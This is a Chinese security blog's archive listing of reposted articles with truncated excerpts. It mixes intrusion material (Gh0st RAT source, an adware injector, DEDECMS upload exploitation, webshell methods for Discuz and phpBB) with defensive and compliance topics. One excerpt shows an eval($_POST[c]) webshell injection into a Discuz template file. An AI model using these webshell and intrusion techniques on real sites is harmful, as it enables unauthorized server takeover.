linkboy的博客_信息安全管理,网络安全技术,程序代码转载(2)

Gh0st RAT Beta 3.6源码

Gh0st RAT C.Rufus Security Team http://www.wolfexp.net 控制端采用IOCP模型，数据传输采用zlib压缩方式稳定快速，上线数量无上限，可同时控制上万台主机控制端自动检测CPU使用率调整自己的工作线程, 稳定高效宿主为svchost以系统服务启动,有远程守护线程,上线间隔为两分钟。心跳包机制防止意外掉线.. 支持HTTP和

职场

休闲

Beta

源码

RAT

转载精选 2008-06-07 20:20:00 2664 阅读

一个弹窗口的流氓软件

导读：　　ps:请勿用于非法用途，仅供技术研究之用。　　by：yunshu 　　这个东西的主要功能就是去网上一个URL读取配置文件，拿到需要弹出的窗口以及周期时间，然后开始弹……程序安装成服务，并设置为自动启动。启动之后写入一段代码到explorer.exe进程中，也就是这里在弹网页，然后将服务停止。　　我写的代码没什么技术含量，唯一的是使用了我们

流氓软件

职场

窗口

休闲

转载精选 2008-06-07 20:16:00 1603 阅读

NTFS数据流和web安全[tips]

导读：　　|=———————————————————————————&

数据

web

NTFS

tips

休闲

转载精选 2008-06-07 20:11:00 628 阅读

我在入侵过程中注意到的细节（一）

导读：　　《黑客手册200801》　　我在入侵过程中注意到的细节（一）　　lcx 　　细节决定成败，不但对于写程序、渗透入侵甚至人生都是如此。谈人生就有点深奥了，还是来谈谈入侵吧。记得很久前有一位同事，注入的时候，在sa权限什么命令都能执行的情况下竟然入侵花费了三天左右的时间，为什么呢？这是因为他在NBSI下输了个time命令，想看下服务器的时间，结果命令无法应答，注入点宕在

职场

休闲

转载精选 2008-06-07 20:06:00 400 阅读

我在入侵过程中注意到的细节（二）

《黑客手册200802》我在入侵过程中注意到的细节（二） lcx 上期我写的基本都是在入侵内网过程中要注意到的细节，不过现在流行的毕竟是注入了。现在常规注入针对的也就是asp、php、jsp、cfm、 cgi等的动态脚本。针对各种脚本的话，如果注意一些细节，像构造特殊字符，也会起到很奇妙的作用。像最早的%5c暴库、%00截断都是轰动一时的漏洞。这些漏洞被发现，无非是发现都对脚本语

职场

休闲

细节

转载精选 2008-06-07 20:06:00 415 阅读

我在入侵过程中注意到的细节（三）

导读：　　《黑客手册200803》　　我在入侵过程中注意到的细节之三　　lcx 　　前两期中的专栏中，针对细节入侵这一专题，我分别写了我在内网和注入中注意到的一些细节。其实入侵过程中，有时候难免会与管理员面对面，如何更好的隐蔽自己也是很重要的，一旦不注意，入侵工作往往前功尽弃。这期专栏中，我就如何隐蔽自己所做的一些工作，所注意到的细节来写一下。　　先来说一下嗅探吧。大家

职场

休闲

转载精选 2008-06-07 20:05:00 544 阅读

绿盟于旸：让阿里安娜火箭爆炸的缓冲区溢出 linkboy语录：tk出品必是精品呵呵

腾讯科技讯 3月18日，由中国最大的互联网综合服务提供商腾讯发起和组织的互联网安全峰会在深圳召开。包括微软、盛大、新浪等互联网界各大巨头的技术专家，学者和专业人士参与了此次的交流。此次峰会是今年以来首场由中国互联网各顶尖企业共同参与的大型网络安全专业盛会。来自绿盟的于旸，在现场发表演讲。以下为文字实录：于旸：我首先做个自我介绍，我叫于旸，目前主要从事信息技术安全有关的研究工作。腾讯

职场

绿盟

休闲

linkboy

阿里安

转载精选 2008-03-20 13:39:00 1172 阅读

关闭XP保护。替换explorer.exe

导读：　　在偶的VPC上测试是可以的。没有更多的测试. 　　偶并没有调用dllcache目录下的.你喜欢吧　　{*******************************************************} 　　{ } 　　{ 关闭XP保护。替换explorer.exe&n

职场

exe

explorer

休闲

转载精选 2008-02-01 20:32:00 669 阅读

Cisco路由器及交换机安全加固

导读：　　　　Cisco路由器及交换机安全加固　　关键词：Cisco、IOS、信息安全　　根据木桶理论，一个桶能装多少水，取决于这个桶最短的那块木板。具体到信息系统的安全也是一样，整个信息系统的安全程度也取决于信息系统中最薄弱的环节，网络做为信息系统的体，其安全需求的重要性是显而易见的。　　网络层面的安全主要有两个方面，一是数据层面的安全，使用ACL等技术手段，辅助应

交换机

Cisco

路由器

休闲

加固

转载精选 2008-01-30 09:14:00 385 阅读

Discuz! 6 后台拿Shell的方法

如果后台可以在线编辑模板的话，下面的方法就可以拿SHELL了：） 1.后台编辑customfaq(customfaq.lang.php文件) 在 Copy code eval($_POST[c]); 2.后台编辑misc(misc.lang.php文件) 把post_reply_quote对应的内容改为 Copy code ";eval($_

职场

Shell

后台

休闲

Discuz

转载精选 2008-01-29 16:43:00 521 阅读

见过的最详强的讲ESP定律脱壳（推荐）

导读：　　　　FROM: poptown.gamewan.com/bbs 　　　　E-MAIL：meila2003@163.com 　　　　　　　1.前言　　　　在论坛上看到很多朋友，不知道什么是ESP定律，ESP的适用范围是什么，ESP定律的原理是什么，如何使用ESP定律？看到了我在“”调查结果发现,大家对ESP定律很感兴

定律

脱壳

解读SOX法案对中国运营商的影响

解读SOX法案对中国运营商的影响　　　摘要：SOX法案出台的主要目的是要通过补充一系列完善的公司管理机制，从而提升公司透明度来恢复投资者对上市公司的信心。 2004年11月中旬，以中国网通顺利于美国上市为标志，包括中国电信、中国移动、中国联通以及中国网通这中国四大基础电信运营商的上市征程终告完满。但这仅仅是一个开始，等待这些运营商的仍有诸多挑战，而萨班斯法案恰恰是国内运营商们需要跨越的第

中国

运营商

SOX

解读

法案

转载精选 2008-01-18 21:01:00 1347 阅读

建企业危机管理与风险控制体系

随着经济全球化的发展，企业在市场竞争中将面对各种各样的风险，如何辨识、评估、监测、控制风险，已成为企业共同关心的热点问题。在一些发达国家，风险管理起步较早。由国际组织及各国风险管理协会的大力推动风险管理标准的实施。1995年，澳大利亚和新西兰联合制订了世界上第一个风险管理标准（AS/NZS4360）。2003年英国制订了AIRMIC/ALARM/IRM标准。2004年美国COSO发布了COSO-E

管理

企业

风险

危机

休闲

转载精选 2008-01-15 14:50:00 711 阅读

ITIL的局限性

由于公司建设ITSM系统的需要，开始接触ITIL理论，学习的来源多来自于一些文档、书籍及网上的资料，随着理解的深入，越发觉得ITIL有相当的局限性，尤其当公司人人对ITIL奉为圣旨时，就更加担心我们自身会走入一个误区，我总相信没有一种管理理论可以为一个公司带来质的飞跃，对所谓的流行理论，我个人一直抱有相对冷淡的立场，比如近来喊得比较多的蓝海战略之类，其实本没有任何新意，德鲁克在五十年前就已提出来了

职场

ITIL

休闲

局限性

转载精选 2008-01-15 14:49:00 689 阅读

ITIL之流程管理

流程管理　　流程管理　　每一个组织都希望实现其愿景、使命、目标和政策，这就意味着需要进行恰当的活动。以餐馆为例，恰当的活动包括购买蔬菜、记账、订购佐料、接待客人、清理桌子、刨土豆皮以及煮咖啡等。　　在这样一个毫无规律的列表下，有些活动可能会被漏掉，我们也很容易迷惑。因此，将这些活动按一定的结构组织起来是一个很好的主意。最好是，它们的组织方式让我们容易看出每组活动对组织目标的贡献，

职场

管理

ITIL

休闲

流程

转载精选 2008-01-15 14:48:00 1019 阅读

织梦内容管理系统（DEDECMS）3.X+4.X上传漏洞

因为本人不懂PHP所以直接黑箱搞他.现在用官方做演示官方地址http://www.dedecms.com/ 首先注册个帐号,注册完以后直接在地址栏输入 http://www.dedecms.com/include/dialoguser/select_soft.php 或者include/dialoguser/select_media.php都可以, 我就选-软件管理器- 这里

漏洞

系统

管理

休闲

DEDECMS

转载精选 2008-01-10 20:07:00 906 阅读

从IT角度看内控——解读《上海证券交易所上市公司内部控制指引》

梁晟,科索路咨询高级经理，曾负责某电信信息数据管理体系设计与规划，梳理数据信息管理体系和接口，确保信息规划质量。 2006年6月5日，上海证券交易所（下文简称上证所）率先发布了《上海证券交易所上市公司内部控制指引》（下文简称《指引》），对上市公司建立健全和有效实施内部控制制度提供了原则性指导，明确了公司董事会对公司内控制度所负的责任，并要求上市公司从2006年年度报告起披露内部控制自我评估报告和

上海

角度

上市公司

证券交易所

内控

转载精选 2008-01-09 21:06:00 1611 阅读

IT如何满足SOX法案的合规要求?

IT如何满足SOX法案的合规要求? （1）　　发布时间：2005.11.24 20:28 来源：赛迪网-中国计算机用户作者：胡敏　　　2002年7月，美国国会正式通过了Sarbanes-Oxley法案（简称SOX法案），明确要求管理层对公司财务信息披露和内部控制效力负有直接责任，公司的内控措施应由管理层声明有效并由独立审计机构出具内控审计意见提交给美国证监会（SEC）。　　SO

职场

休闲

SOX

法案

合规

转载精选 2008-01-09 21:02:00 1927 阅读

企业如何进行计算机取证工作

[博客来网路书店] [天珑书店][本书目录] 　　这本书，着实花了笔者不少时间。　　从今年七月开始，笔者在台北、台中、高雄分别主讲了十多数场微软Silverlight相关的研讨会与Hands On Lab，连TechED 2007也是以Silverlight为主题。　　微软更是花大钱摆大阵仗来推广这个新技术。当然罗，您可以慢慢嗅出接下来的Web技术主流在哪

职场

计算机

企业

休闲

取证

转载精选 2008-01-03 09:32:00 395 阅读

《Google Adsense的秘密》序言

亲爱的读者，感谢您购买第二版增补过的《Google不传之秘：用Adsense挣大钱三部曲》！这本书的内容是有关Google Adsense的高级应用，因此我在写作的过程中假设本书的读者已经具备了有关Adsense的基础知识。别让我这句话吓住你，其实这本书是非常简单易懂的。当然，如果你是一个Adsense新手，那么你在阅读过程中可能需要查阅Adsense Support Pages或者偶尔在线索引G

Google

秘密

休闲

Adsense

序言

转载精选 2007-12-24 20:45:00 362 阅读

隐藏注册表键代码

这个代码某人说是他写的，不过我在国外一个网站上找到了一份差不多的，谁借鉴谁的，我也不管了，说不清…… 代码下载

代码

职场

注册表

隐藏

休闲

转载精选 2007-12-19 21:27:00 392 阅读 1评论

PHP安全配置

整理：san 版本：0.02 创建时间：2001/11/12 更新时间：2003/07/21 一、Web服务器安全 PHP其实不过是Web服务器的一个模块功能，所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全，这样就扯远了，无穷无尽。PHP可以和各种Web服务器结合，这里也只讨论Apache。非常建议以chroot方式安装启动Apache，这样即使Apach

PHP

职场

休闲

转载精选 2007-12-19 21:22:00 487 阅读

【转】如何对PHP程序中的常见漏洞进行攻击（下）

正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。　　最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个“.inc”的扩展名，但是他们很快发

PHP

攻击

程序

漏洞

休闲

转载精选 2007-12-19 21:06:00 485 阅读

如何对PHP程序中的常见漏洞进行攻击（上）

之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http: //www.securereality.com.au/studyinscarlet.txt找到。　　由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉

PHP

攻击

程序

漏洞

休闲

转载精选 2007-12-19 21:06:00 322 阅读

mcafee for linux 杀毒软件

下载安装程序：下载文件点击这里下载文件下载后，解压缩文件： tar -zxvf mcafee.tar.gz 解压缩后，可以看到里面有两个文件和一个目录。 cd uvscan 运行安装脚本， ./install-uvscan 安装过程中有些选项需要设置，建议使用默认值即可。 cd .. 测

linux

杀毒软件

职场

mcafee

休闲

转载精选 2007-12-14 16:05:00 2637 阅读

域名停放指南

域名停放服务能为您带来什么好处？　　域名停放服务可以让您利用闲置的域名赚钱，而且不需要您建立自己的网站，为您带来一定收益的同时增加域名出售转让的机会。　　哪些域名可以应用于域名停放服务？　　一般域名停放服务主要是利用域名带来的访问者达到广告点击收益的，所以一般情况下要求您所持有的域名有一定的访问者（流量）。能带来流量的域名包括：带有极佳关键词的域名、被搜索引擎收录的域名、原来建过

职场

域名

指南

休闲

转载精选 2007-12-10 15:00:00 10000+阅读

phpbb后台拿webshell的方法

前面所讲述的操作都非常简单，基本上没有什么太大的难度。可是进入了后台要获取Webshell就有点麻烦了，PHPBB旧版本还可以直接添加上传类型为PHP的文件，然后直接上传PHP的后门得到Webshell。可是，最新版本的PHPBB后台已经不允许添加上传类型了，如图5。　　图5 　　可以利用的基本上都限制了，经测试发现部分空间可以添加inc扩展名，然后前台发帖上传扩展为inc的PHP后门程

职场

后台

webshell

休闲

phpbb

转载精选 2007-12-10 12:39:00 2822 阅读

安全事件日志中的事件编号与描述

帐号登录事件 (事件编号与描述) 672 身份验证服务（AS）票证得到成功发行与验证。 673 票证授权服务（TGS）票证得到授权。TGS是一份由Kerberos 5.0版票证授权服务（TGS）发行、且允许用户针对域中特定服务进行身份验证的票证。 674 安全主体重建AS票证或TGS票证。 675 预身份验证失败。这种事件将在用户输入错误密码时由密钥分发中心（KDC）生成。 676

职场

日志

休闲

描述

转载精选 2007-11-29 14:47:00 505 阅读

Arp反欺骗策略

职场

Arp

欺骗

休闲

转载精选 2007-11-20 16:29:00 373 阅读

Linux操作系统安全性能检查笔记

Linux安全检查笔记　　１．Accounts检查　　# less /etc/passwd 　　＃ grep :0: /etc/passwd 　　注意新的用户，和UID,GID是0的用户．　　２．Log检查　　注意“entered promiscuous mode” 　　注意错误信息　　注意Remote Procedure Call

笔记